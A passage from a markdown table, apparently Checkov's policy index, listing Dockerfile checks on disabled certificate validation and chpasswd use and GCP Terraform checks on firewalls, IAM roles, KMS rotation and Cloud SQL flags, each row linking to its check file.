[RunAptGetForceYes.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunAptGetForceYes.yaml)                                                                                        |\n| 6377 | CKV2_DOCKER_12           | resource                         | ARG                                                                                              | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable                                                                                           | dockerfile              | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml)                                                                                |\n| 6378 | CKV2_DOCKER_12           | resource                         | ENV                                                                                              | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable                                                                                           | dockerfile              | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml)                                                                                |\n| 6379 | CKV2_DOCKER_12           | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled for npm via the 'NPM_CONFIG_STRICT_SSL' environment variable                                                                                           | dockerfile              | [EnvNpmConfigStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvNpmConfigStrictSsl.yaml)                                                                                |\n| 6380 | CKV2_DOCKER_13           | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled for npm or yarn by setting the option strict-ssl to false                                                                                              | dockerfile              | [RunNpmConfigSetStrictSsl.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunNpmConfigSetStrictSsl.yaml)                                                                          |\n| 6381 | CKV2_DOCKER_14           | resource                         | ARG                                                                                              | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value                                                                           | dockerfile              | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml)                                                                                        |\n| 6382 | CKV2_DOCKER_14           | resource                         | ENV                                                                                              | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value                                                                           | dockerfile              | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml)                                                                                        |\n| 6383 | CKV2_DOCKER_14           | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled for git by setting the environment variable 'GIT_SSL_NO_VERIFY' to any value                                                                           | dockerfile              | [EnvGitSslNoVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvGitSslNoVerify.yaml)                                                                                        |\n| 6384 | CKV2_DOCKER_15           | resource                         | RUN                                                                                              | Ensure that the yum and dnf package managers are not configured to disable SSL certificate validation via the 'sslverify' configuration option                                                           | dockerfile              | [RunYumConfigManagerSslVerify.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunYumConfigManagerSslVerify.yaml)                                                                  |\n| 6385 | CKV2_DOCKER_16           | resource                         | ARG                                                                                              | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable                                                                                               | dockerfile              | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml)                                                                                        |\n| 6386 | CKV2_DOCKER_16           | resource                         | ENV                                                                                              | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable                                                                                               | dockerfile              | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml)                                                                                        |\n| 6387 | CKV2_DOCKER_16           | resource                         | RUN                                                                                              | Ensure that certificate validation isn't disabled with pip via the 'PIP_TRUSTED_HOST' environment variable                                                                                               | dockerfile              | [EnvPipTrustedHost.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/EnvPipTrustedHost.yaml)                                                                                        |\n| 6388 | CKV2_DOCKER_17           | resource                         | RUN                                                                                              | Ensure that 'chpasswd' is not used to set or remove passwords                                                                                                                                            | dockerfile              | [RunChpasswd.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/dockerfile/checks/graph_checks/RunChpasswd.yaml)                                                                                                    |\n| 6389 | CKV_GCP_1                | resource                         | google_container_cluster                                                                         | Ensure Stackdriver Logging is set to Enabled on Kubernetes Engine Clusters                                                                                                                               | Terraform               | [GKEClusterLogging.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClusterLogging.py)                                                                                             |\n| 6390 | CKV_GCP_2                | resource                         | google_compute_firewall                                                                          | Ensure Google compute firewall ingress does not allow unrestricted ssh access                                                                                                                            | Terraform               | [GoogleComputeFirewallUnrestrictedIngress22.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress22.py)                                           |\n| 6391 | CKV_GCP_3                | resource                         | google_compute_firewall                                                                          | Ensure Google compute firewall ingress does not allow unrestricted rdp access                                                                                                                            | Terraform               | [GoogleComputeFirewallUnrestrictedIngress3389.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeFirewallUnrestrictedIngress3389.py)                                       |\n| 6392 | CKV_GCP_4                | resource                         | google_compute_ssl_policy                                                                        | Ensure no HTTPS or SSL proxy load balancers permit SSL policies with weak cipher suites                                                                                                                  | Terraform               | [GoogleComputeSSLPolicy.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSSLPolicy.py)                                                                                   |\n| 6393 | CKV_GCP_6                | resource                         | google_sql_database_instance                                                                     | Ensure all Cloud SQL database instance requires all incoming connections to use SSL                                                                                                                      | Terraform               | [GoogleCloudSqlDatabaseRequireSsl.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabaseRequireSsl.py)                                                               |\n| 6394 | CKV_GCP_7                | resource                         | google_container_cluster                                                                         | Ensure Legacy Authorization is set to Disabled on Kubernetes Engine Clusters                                                                                                                             | Terraform               | [GKEDisableLegacyAuth.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEDisableLegacyAuth.py)                                                                                       |\n| 6395 | CKV_GCP_8                | resource                         | google_container_cluster                                                                         | Ensure Stackdriver Monitoring is set to Enabled on Kubernetes Engine Clusters                                                                                                                            | Terraform               | [GKEMonitoringEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMonitoringEnabled.py)                                                                                       |\n| 6396 | CKV_GCP_9                | resource                         | google_container_node_pool                                                                       | Ensure 'Automatic node repair' is enabled for Kubernetes Clusters                                                                                                                                        | Terraform               | [GKENodePoolAutoRepairEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoRepairEnabled.py)                                                                       |\n| 6397 | CKV_GCP_10               | resource                         | google_container_node_pool                                                                       | Ensure 'Automatic node upgrade' is enabled for Kubernetes Clusters                                                                                                                                       | Terraform               | [GKENodePoolAutoUpgradeEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENodePoolAutoUpgradeEnabled.py)                                                                     |\n| 6398 | CKV_GCP_11               | resource                         | google_sql_database_instance                                                                     | Ensure that Cloud SQL database Instances are not open to the world                                                                                                                                       | Terraform               | [GoogleCloudSqlDatabasePubliclyAccessible.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlDatabasePubliclyAccessible.py)                                               |\n| 6399 | CKV_GCP_12               | resource                         | google_container_cluster                                                                         | Ensure Network Policy is enabled on Kubernetes Engine Clusters                                                                                                                                           | Terraform               | [GKENetworkPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKENetworkPolicyEnabled.py)                                                                                 |\n| 6400 | CKV_GCP_13               | resource                         | google_container_cluster                                                                         | Ensure client certificate authentication to Kubernetes Engine Clusters is disabled                                                                                                                       | Terraform               | [GKEClientCertificateDisabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEClientCertificateDisabled.py)                                                                       |\n| 6401 | CKV_GCP_14               | resource                         | google_sql_database_instance                                                                     | Ensure all Cloud SQL database instance have backup configuration enabled                                                                                                                                 | Terraform               | [GoogleCloudSqlBackupConfiguration.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudSqlBackupConfiguration.py)                                                             |\n| 6402 | CKV_GCP_15               | resource                         | google_bigquery_dataset                                                                          | Ensure that BigQuery datasets are not anonymously or publicly accessible                                                                                                                                 | Terraform               | [GoogleBigQueryDatasetPublicACL.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleBigQueryDatasetPublicACL.py)                                                                   |\n| 6403 | CKV_GCP_16               | resource                         | google_dns_managed_zone                                                                          | Ensure that DNSSEC is enabled for Cloud DNS                                                                                                                                                              | Terraform               | [GoogleCloudDNSSECEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSSECEnabled.py)                                                                               |\n| 6404 | CKV_GCP_17               | resource                         | google_dns_managed_zone                                                                          | Ensure that RSASHA1 is not used for the zone-signing and key-signing keys in Cloud DNS DNSSEC                                                                                                            | Terraform               | [GoogleCloudDNSKeySpecsRSASHA1.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudDNSKeySpecsRSASHA1.py)                                                                     |\n| 6405 | CKV_GCP_18               | resource                         | google_container_cluster                                                                         | Ensure GKE Control Plane is not public                                                                                                                                                                   | Terraform               | [GKEPublicControlPlane.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPublicControlPlane.py)                                                                                     |\n| 6406 | CKV_GCP_20               | resource                         | google_container_cluster                                                                         | Ensure master authorized networks is set to enabled in GKE clusters                                                                                                                                      | Terraform               | [GKEMasterAuthorizedNetworksEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEMasterAuthorizedNetworksEnabled.py)                                                           |\n| 6407 | CKV_GCP_21               | resource                         | google_container_cluster                                                                         | Ensure Kubernetes Clusters are configured with Labels                                                                                                                                                    | Terraform               | [GKEHasLabels.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEHasLabels.py)                                                                                                       |\n| 6408 | CKV_GCP_22               | resource                         | google_container_node_pool                                                                       | Ensure Container-Optimized OS (cos) is used for Kubernetes Engine Clusters Node image                                                                                                                    | Terraform               | [GKEUseCosImage.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEUseCosImage.py)                                                                                                   |\n| 6409 | CKV_GCP_23               | resource                         | google_container_cluster                                                                         | Ensure Kubernetes Cluster is created with Alias IP ranges enabled                                                                                                                                        | Terraform               | [GKEAliasIpEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEAliasIpEnabled.py)                                                                                             |\n| 6410 | CKV_GCP_24               | resource                         | google_container_cluster                                                                         | Ensure PodSecurityPolicy controller is enabled on the Kubernetes Engine Clusters                                                                                                                         | Terraform               | [GKEPodSecurityPolicyEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPodSecurityPolicyEnabled.py)                                                                         |\n| 6411 | CKV_GCP_25               | resource                         | google_container_cluster                                                                         | Ensure Kubernetes Cluster is created with Private cluster enabled                                                                                                                                        | Terraform               | [GKEPrivateClusterConfig.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GKEPrivateClusterConfig.py)                                                                                 |\n| 6412 | CKV_GCP_26               | resource                         | google_compute_subnetwork                                                                        | Ensure that VPC Flow Logs is enabled for every subnet in a VPC Network                                                                                                                                   | Terraform               | [GoogleSubnetworkLoggingEnabled.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleSubnetworkLoggingEnabled.py)                                                                   |\n| 6413 | CKV_GCP_27               | resource                         | google_project                                                                                   | Ensure that the default network does not exist in a project                                                                                                                                              | Terraform               | [GoogleProjectDefaultNetwork.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectDefaultNetwork.py)                                                                         |\n| 6414 | CKV_GCP_28               | resource                         | google_storage_bucket_iam_binding                                                                | Ensure that Cloud Storage bucket is not anonymously or publicly accessible                                                                                                                               | Terraform               | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py)                                                                       |\n| 6415 | CKV_GCP_28               | resource                         | google_storage_bucket_iam_member                                                                 | Ensure that Cloud Storage bucket is not anonymously or publicly accessible                                                                                                                               | Terraform               | [GoogleStorageBucketNotPublic.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketNotPublic.py)                                                                       |\n| 6416 | CKV_GCP_29               | resource                         | google_storage_bucket                                                                            | Ensure that Cloud Storage buckets have uniform bucket-level access enabled                                                                                                                               | Terraform               | [GoogleStorageBucketUniformAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleStorageBucketUniformAccess.py)                                                               |\n| 6417 | CKV_GCP_30               | resource                         | google_compute_instance                                                                          | Ensure that instances are not configured to use the default service account                                                                                                                              | Terraform               | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py)                                                           |\n| 6418 | CKV_GCP_30               | resource                         | google_compute_instance_from_template                                                            | Ensure that instances are not configured to use the default service account                                                                                                                              | Terraform               | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py)                                                           |\n| 6419 | CKV_GCP_30               | resource                         | google_compute_instance_template                                                                 | Ensure that instances are not configured to use the default service account                                                                                                                              | Terraform               | [GoogleComputeDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccount.py)                                                           |\n| 6420 | CKV_GCP_31               | resource                         | google_compute_instance                                                                          | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs                                                                                           | Terraform               | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py)                                       |\n| 6421 | CKV_GCP_31               | resource                         | google_compute_instance_from_template                                                            | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs                                                                                           | Terraform               | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py)                                       |\n| 6422 | CKV_GCP_31               | resource                         | google_compute_instance_template                                                                 | Ensure that instances are not configured to use the default service account with full access to all Cloud APIs                                                                                           | Terraform               | [GoogleComputeDefaultServiceAccountFullAccess.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDefaultServiceAccountFullAccess.py)                                       |\n| 6423 | CKV_GCP_32               | resource                         | google_compute_instance                                                                          | Ensure 'Block Project-wide SSH keys' is enabled for VM instances                                                                                                                                         | Terraform               | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py)                                                                       |\n| 6424 | CKV_GCP_32               | resource                         | google_compute_instance_from_template                                                            | Ensure 'Block Project-wide SSH keys' is enabled for VM instances                                                                                                                                         | Terraform               | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py)                                                                       |\n| 6425 | CKV_GCP_32               | resource                         | google_compute_instance_template                                                                 | Ensure 'Block Project-wide SSH keys' is enabled for VM instances                                                                                                                                         | Terraform               | [GoogleComputeBlockProjectSSH.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBlockProjectSSH.py)                                                                       |\n| 6426 | CKV_GCP_33               | resource                         | google_compute_project_metadata                                                                  | Ensure oslogin is enabled for a Project                                                                                                                                                                  | Terraform               | [GoogleComputeProjectOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeProjectOSLogin.py)                                                                         |\n| 6427 | CKV_GCP_34               | resource                         | google_compute_instance                                                                          | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances)                                             | Terraform               | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py)                                                                       |\n| 6428 | CKV_GCP_34               | resource                         | google_compute_instance_from_template                                                            | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances)                                             | Terraform               | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py)                                                                       |\n| 6429 | CKV_GCP_34               | resource                         | google_compute_instance_template                                                                 | Ensure that no instance in the project overrides the project setting for enabling OSLogin(OSLogin needs to be enabled in project metadata for all instances)                                             | Terraform               | [GoogleComputeInstanceOSLogin.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeInstanceOSLogin.py)                                                                       |\n| 6430 | CKV_GCP_35               | resource                         | google_compute_instance                                                                          | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance                                                                                                                                | Terraform               | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py)                                                                               |\n| 6431 | CKV_GCP_35               | resource                         | google_compute_instance_from_template                                                            | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance                                                                                                                                | Terraform               | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py)                                                                               |\n| 6432 | CKV_GCP_35               | resource                         | google_compute_instance_template                                                                 | Ensure 'Enable connecting to serial ports' is not enabled for VM Instance                                                                                                                                | Terraform               | [GoogleComputeSerialPorts.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeSerialPorts.py)                                                                               |\n| 6433 | CKV_GCP_36               | resource                         | google_compute_instance                                                                          | Ensure that IP forwarding is not enabled on Instances                                                                                                                                                    | Terraform               | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py)                                                                                   |\n| 6434 | CKV_GCP_36               | resource                         | google_compute_instance_from_template                                                            | Ensure that IP forwarding is not enabled on Instances                                                                                                                                                    | Terraform               | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py)                                                                                   |\n| 6435 | CKV_GCP_36               | resource                         | google_compute_instance_template                                                                 | Ensure that IP forwarding is not enabled on Instances                                                                                                                                                    | Terraform               | [GoogleComputeIPForward.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeIPForward.py)                                                                                   |\n| 6436 | CKV_GCP_37               | resource                         | google_compute_disk                                                                              | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                             | Terraform               | [GoogleComputeDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeDiskEncryption.py)                                                                         |\n| 6437 | CKV_GCP_38               | resource                         | google_compute_instance                                                                          | Ensure VM disks for critical VMs are encrypted with Customer Supplied Encryption Keys (CSEK)                                                                                                             | Terraform               | [GoogleComputeBootDiskEncryption.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeBootDiskEncryption.py)                                                                 |\n| 6438 | CKV_GCP_39               | resource                         | google_compute_instance                                                                          | Ensure Compute instances are launched with Shielded VM enabled                                                                                                                                           | Terraform               | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py)                                                                                 |\n| 6439 | CKV_GCP_39               | resource                         | google_compute_instance_from_template                                                            | Ensure Compute instances are launched with Shielded VM enabled                                                                                                                                           | Terraform               | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py)                                                                                 |\n| 6440 | CKV_GCP_39               | resource                         | google_compute_instance_template                                                                 | Ensure Compute instances are launched with Shielded VM enabled                                                                                                                                           | Terraform               | [GoogleComputeShieldedVM.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeShieldedVM.py)                                                                                 |\n| 6441 | CKV_GCP_40               | resource                         | google_compute_instance                                                                          | Ensure that Compute instances do not have public IP addresses                                                                                                                                            | Terraform               | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py)                                                                                 |\n| 6442 | CKV_GCP_40               | resource                         | google_compute_instance_from_template                                                            | Ensure that Compute instances do not have public IP addresses                                                                                                                                            | Terraform               | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py)                                                                                 |\n| 6443 | CKV_GCP_40               | resource                         | google_compute_instance_template                                                                 | Ensure that Compute instances do not have public IP addresses                                                                                                                                            | Terraform               | [GoogleComputeExternalIP.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleComputeExternalIP.py)                                                                                 |\n| 6444 | CKV_GCP_41               | resource                         | google_project_iam_binding                                                                       | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level                                                                                  | Terraform               | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py)                                                                       |\n| 6445 | CKV_GCP_41               | resource                         | google_project_iam_member                                                                        | Ensure that IAM users are not assigned the Service Account User or Service Account Token Creator roles at project level                                                                                  | Terraform               | [GoogleRoleServiceAccountUser.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleRoleServiceAccountUser.py)                                                                       |\n| 6446 | CKV_GCP_42               | resource                         | google_project_iam_member                                                                        | Ensure that Service Account has no Admin privileges                                                                                                                                                      | Terraform               | [GoogleProjectAdminServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectAdminServiceAccount.py)                                                               |\n| 6447 | CKV_GCP_43               | resource                         | google_kms_crypto_key                                                                            | Ensure KMS encryption keys are rotated within a period of 90 days                                                                                                                                        | Terraform               | [GoogleKMSRotationPeriod.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleKMSRotationPeriod.py)                                                                                 |\n| 6448 | CKV_GCP_44               | resource                         | google_folder_iam_binding                                                                        | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level                                                                                                    | Terraform               | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py)                                                                     |\n| 6449 | CKV_GCP_44               | resource                         | google_folder_iam_member                                                                         | Ensure no roles that enable to impersonate and manage all service accounts are used at a folder level                                                                                                    | Terraform               | [GoogleFolderImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderImpersonationRole.py)                                                                     |\n| 6450 | CKV_GCP_45               | resource                         | google_organization_iam_binding                                                                  | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level                                                                                             | Terraform               | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py)                                                                           |\n| 6451 | CKV_GCP_45               | resource                         | google_organization_iam_member                                                                   | Ensure no roles that enable to impersonate and manage all service accounts are used at an organization level                                                                                             | Terraform               | [GoogleOrgImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgImpersonationRole.py)                                                                           |\n| 6452 | CKV_GCP_46               | resource                         | google_project_iam_binding                                                                       | Ensure Default Service account is not used at a project level                                                                                                                                            | Terraform               | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py)                                               |\n| 6453 | CKV_GCP_46               | resource                         | google_project_iam_member                                                                        | Ensure Default Service account is not used at a project level                                                                                                                                            | Terraform               | [GoogleProjectMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectMemberDefaultServiceAccount.py)                                               |\n| 6454 | CKV_GCP_47               | resource                         | google_organization_iam_binding                                                                  | Ensure default service account is not used at an organization level                                                                                                                                      | Terraform               | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py)                                                       |\n| 6455 | CKV_GCP_47               | resource                         | google_organization_iam_member                                                                   | Ensure default service account is not used at an organization level                                                                                                                                      | Terraform               | [GoogleOrgMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleOrgMemberDefaultServiceAccount.py)                                                       |\n| 6456 | CKV_GCP_48               | resource                         | google_folder_iam_binding                                                                        | Ensure Default Service account is not used at a folder level                                                                                                                                             | Terraform               | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py)                                                 |\n| 6457 | CKV_GCP_48               | resource                         | google_folder_iam_member                                                                         | Ensure Default Service account is not used at a folder level                                                                                                                                             | Terraform               | [GoogleFolderMemberDefaultServiceAccount.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleFolderMemberDefaultServiceAccount.py)                                                 |\n| 6458 | CKV_GCP_49               | resource                         | google_project_iam_binding                                                                       | Ensure roles do not impersonate or manage Service Accounts used at project level                                                                                                                         | Terraform               | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py)                                                                   |\n| 6459 | CKV_GCP_49               | resource                         | google_project_iam_member                                                                        | Ensure roles do not impersonate or manage Service Accounts used at project level                                                                                                                         | Terraform               | [GoogleProjectImpersonationRole.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleProjectImpersonationRole.py)                                                                   |\n| 6460 | CKV_GCP_50               | resource                         | google_sql_database_instance                                                                     | Ensure MySQL database 'local_infile' flag is set to 'off'                                                                                                                                                | Terraform               | [GoogleCloudMySqlLocalInfileOff.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudMySqlLocalInfileOff.py)                                                                   |\n| 6461 | CKV_GCP_51               | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database 'log_checkpoints' flag is set to 'on'                                                                                                                                         | Terraform               | [GoogleCloudPostgreSqlLogCheckpoints.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogCheckpoints.py)                                                         |\n| 6462 | CKV_GCP_52               | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database 'log_connections' flag is set to 'on'                                                                                                                                         | Terraform               | [GoogleCloudPostgreSqlLogConnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogConnection.py)                                                           |\n| 6463 | CKV_GCP_53               | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database 'log_disconnections' flag is set to 'on'                                                                                                                                      | Terraform               | [GoogleCloudPostgreSqlLogDisconnection.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogDisconnection.py)                                                     |\n| 6464 | CKV_GCP_54               | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database 'log_lock_waits' flag is set to 'on'                                                                                                                                          | Terraform               | [GoogleCloudPostgreSqlLogLockWaits.py](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/resource/gcp/GoogleCloudPostgreSqlLogLockWaits.py)                                                             |\n| 6465 | CKV_GCP_55               | resource                         | google_sql_database_instance                                                                     | Ensure PostgreSQL database 'log_min_messages' flag is set to a valid value                                                                                                                               | Terraform               | 